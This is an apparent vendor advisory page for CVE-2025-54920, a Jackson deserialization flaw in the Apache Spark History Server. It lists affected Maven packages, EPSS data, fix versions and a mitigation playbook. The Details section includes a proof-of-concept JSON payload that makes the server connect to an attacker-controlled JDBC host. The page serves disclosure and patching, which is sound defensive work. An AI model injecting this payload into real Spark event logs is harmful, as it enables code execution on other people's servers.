Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
☕ Maven

CVE-2025-54920

HIGH

Apache Spark: Spark History Server Code Execution Vulnerability

Also known asBIT-spark-2025-54920GHSA-jwp6-cvj8-fw65
Published
Mar 16, 2026
Updated
Apr 10, 2026
Affected
6 pkgs
Patched
3 / 6
Exploits
None indexed

EPSS Exploitation Probability

via FIRST.org ↗
5.3%probability of exploitation in next 30 days
Lower Risk92th percentile+4.85%
0.00%2.27%4.53%6.80%0.5%0.5%0.5%5.3%Apr 26Jun 26Jun 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

6 pkgs affected
☕org.apache.spark:spark-core_2.13☕org.apache.spark:spark-core_2.13☕org.apache.spark:spark-core_2.12☕org.apache.spark:spark-core_2.11☕org.apache.spark:spark-core_2.10☕org.apache.spark:spark-core_2.9.3

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Maven packages — download data is not available via public APIs for these ecosystems.

Description

This issue affects Apache Spark: before 3.5.7 and 4.0.1. Users are recommended to upgrade to version 3.5.7 or 4.0.1 and above, which fixes the issue.

Summary

Apache Spark 3.5.4 and earlier versions contain a code execution vulnerability in the Spark History Web UI due to overly permissive Jackson deserialization of event log data. This allows an attacker with access to the Spark event logs directory to inject malicious JSON payloads that trigger deserialization of arbitrary classes, enabling command execution on the host running the Spark History Server.

Details

The vulnerability arises because the Spark History Server uses Jackson polymorphic deserialization with @JsonTypeInfo.Id.CLASS on SparkListenerEvent objects, allowing an attacker to specify arbitrary class names in the event JSON. This behavior permits instantiating unintended classes, such as org.apache.hive.jdbc.HiveConnection, which can perform network calls or other malicious actions during deserialization.

The attacker can exploit this by injecting crafted JSON content into the Spark event log files, which the History Server then deserializes on startup or when loading event logs. For example, the attacker can force the History Server to open a JDBC connection to a remote attacker-controlled server, demonstrating remote command injection capability.

Proof of Concept:

  1. Run Spark with event logging enabled, writing to a writable directory (spark-logs).

  2. Inject the following JSON at the beginning of an event log file:

{

"Event": "org.apache.hive.jdbc.HiveConnection", "uri": "jdbc:hive2://<IP>:<PORT>/", "info": { "hive.metastore.uris": "thrift://<IP>:<PORT>" } }

  1. Start the Spark History Server with logs pointing to the modified directory.

  2. The Spark History Server initiates a JDBC connection to the attacker’s server, confirming the injection.

Impact

An attacker with write access to Spark event logs can execute arbitrary code on the server running the History Server, potentially compromising the entire system.

Affected Packages

6 total 3 fixed
EcosystemPackageVulnerable rangeFix
☕Mavenorg.apache.spark:spark-core_2.13≥ 4.0.0&&< 4.0.14.0.1
☕Mavenorg.apache.spark:spark-core_2.13all versions3.5.7
☕Mavenorg.apache.spark:spark-core_2.12all versions3.5.7
☕Mavenorg.apache.spark:spark-core_2.11all versionsNo fix
☕Mavenorg.apache.spark:spark-core_2.10all versionsNo fix
☕Mavenorg.apache.spark:spark-core_2.9.3all versionsNo fix

Detection & mitigation playbook

Open-source dependency

  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for org.apache.spark:spark-core_2.13. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update org.apache.spark:spark-core_2.13 to 4.0.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2025-54920 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether CVE-2025-54920 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to CVE-2025-54920. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

This issue affects Apache Spark: before 3.5.7 and 4.0.1. Users are recommended to upgrade to version 3.5.7 or 4.0.1 and above, which fixes the issue. Summary Apache Spark 3.5.4 and earlier versions contain a code execution vulnerability in the Spark History Web UI due to overly permissive Jackson deserialization of event log data. This allows an attacker with access to the Spark event logs directory to inject malicious JSON payloads that trigger deserialization of arbitrary classes, enabling command execution on the host running the Spark History Server. Details The vulnerability a
O3 Security · Impact-Aware SCA

Is CVE-2025-54920 in your dependencies?

O3 detects CVE-2025-54920 across Maven dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

Scan my dependencies How O3 SCA works